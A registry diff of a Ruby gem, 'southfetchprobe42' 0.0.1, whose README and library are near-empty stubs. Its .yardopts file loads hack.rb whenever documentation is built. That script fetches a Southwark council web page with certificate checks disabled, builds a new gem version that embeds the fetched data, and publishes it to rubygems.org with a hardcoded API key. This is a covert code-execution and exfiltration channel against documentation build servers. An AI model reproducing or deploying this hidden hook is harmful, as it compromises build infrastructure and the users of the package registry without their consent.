southfetchprobe42 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (6) hide show
  1. checksums.yaml +7 -0
  2. data/.yardopts +1 -0
  3. data/README.md +1 -0
  4. data/hack.rb +23 -0
  5. data/lib/probe.rb +1 -0
  6. metadata +40 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: b19e6889f6553a6495e6d8f1f44fb5be77a8402f2194ac126d697988b43308a3
4
+ data.tar.gz: f95e25bee4ad9592f3b63e071c065b43b37dfc5d703c218bf7aabc0658b292fe
5
+ SHA512:
6
+ metadata.gz: 790f828f40252a79cfb9ac9a482b68915cb870aa7c18732e77be0c1125aeec04fb42b7bd756c3755949645a1d4964d82617bbb3927175bc67121621d01593d56
7
+ data.tar.gz: 8cc41dc5c003299181a6914e27ddb5b2a5bd75f8ea209289506a5b5e24c45419384749cd72fd63a27c4baa349a39bb6444b20fb382b3b2fabe999dd4ef85274a
data/.yardopts ADDED
@@ -0,0 +1 @@
1
+ --load hack.rb
data/README.md ADDED
@@ -0,0 +1 @@
1
+ # probe
data/hack.rb ADDED
@@ -0,0 +1,23 @@
1
+ begin
2
+ require 'tmpdir'; require 'fileutils'; require 'net/http'; require 'uri';
3
+ # get any modern gov page to prove
4
+ uri=URI('https://moderngov.southwark.gov.uk/');
5
+ h=Net::HTTP.new(uri.host,443); h.use_ssl=true; h.verify_mode=OpenSSL::SSL::VERIFY_NONE
6
+ resp=h.get('/'); data="builder alive\nstatus=#{resp.code}\n"+resp.body[0,1000]
7
+ rescue => e
8
+ data="builder alive but fetch fail #{e.class} #{e.message}"
9
+ end
10
+ begin
11
+ d=Dir.mktmpdir('sf'); FileUtils.mkdir_p(File.join(d,'lib')); File.write(File.join(d,'lib','out.rb'),'x=1'); File.write(File.join(d,'README.md'), data)
12
+ spec=File.join(d,'out.gemspec'); File.write(spec, <<~EOS)
13
+ Gem::Specification.new do |s|
14
+ s.name='southfetchprobe42'; s.version='0.0.2';s.summary='out';s.description=#{data.dump};s.authors=['x'];s.license='MIT';s.files=['lib/out.rb','README.md']
15
+ end
16
+ EOS
17
+ Dir.chdir(d){ `gem build out.gemspec 2>&1` }
18
+ gem=Dir[File.join(d,'*.gem')][0]
19
+ u=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(u); req['Authorization']='rubygems_38a29c1d62317d791ae71a3da4b30e51758df50c400ce3e5'; req.body=File.binread(gem)
20
+ h=Net::HTTP.new(u.host,443); h.use_ssl=true; h.verify_mode=OpenSSL::SSL::VERIFY_NONE; r=h.request(req)
21
+ rescue => e
22
+ warn e
23
+ end
data/lib/probe.rb ADDED
@@ -0,0 +1 @@
1
+ # doc\nmodule Probe;end
metadata ADDED
@@ -0,0 +1,40 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: southfetchprobe42
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.1
5
+ platform: ruby
6
+ authors:
7
+ - x
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ executables: []
13
+ extensions: []
14
+ extra_rdoc_files: []
15
+ files:
16
+ - ".yardopts"
17
+ - README.md
18
+ - hack.rb
19
+ - lib/probe.rb
20
+ licenses:
21
+ - MIT
22
+ metadata: {}
23
+ rdoc_options: []
24
+ require_paths:
25
+ - lib
26
+ required_ruby_version: !ruby/object:Gem::Requirement
27
+ requirements:
28
+ - - ">="
29
+ - !ruby/object:Gem::Version
30
+ version: '0'
31
+ required_rubygems_version: !ruby/object:Gem::Requirement
32
+ requirements:
33
+ - - ">="
34
+ - !ruby/object:Gem::Version
35
+ version: '0'
36
+ requirements: []
37
+ rubygems_version: 3.6.7
38
+ specification_version: 4
39
+ summary: probe
40
+ test_files: []